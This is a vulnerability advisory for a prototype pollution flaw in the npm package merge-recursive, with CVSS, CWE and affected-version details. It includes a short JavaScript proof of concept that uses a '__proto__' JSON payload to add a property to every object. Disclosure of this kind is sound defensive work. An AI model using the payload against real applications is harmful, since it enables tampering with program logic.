Prototype Pollution in merge-recursive
All versions of merge-recursive are vulnerable to Prototype Pollution. When malicious user input is merged with another object it allows the attacker to modify the prototype of Object via __proto__ causing the addition or modification of an existing property.
Proof of concept:
var merge = require('merge-recursive').recursive;
var malicious_payload = '{"__proto__":{"oops":"It works !"}}';
var a = {};
console.log("Before : " + a.oops);
merge({}, JSON.parse(malicious_payload));
console.log("After : " + a.oops);Recommendation
There is currently no fix available.
Affected software
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| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | merge-recursive | <= 0.0.3 | no fix |
References
- CVSS vector
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H- Weakness (CWE)
CWE-20- Platform
- npm
- Package
merge-recursive- Disclosed
- 18.09.2018
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-cvxm-f295-x957 - CC BY 4.0
Vulnerability history: merge-recursive
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
This is the only known vulnerability of this package.
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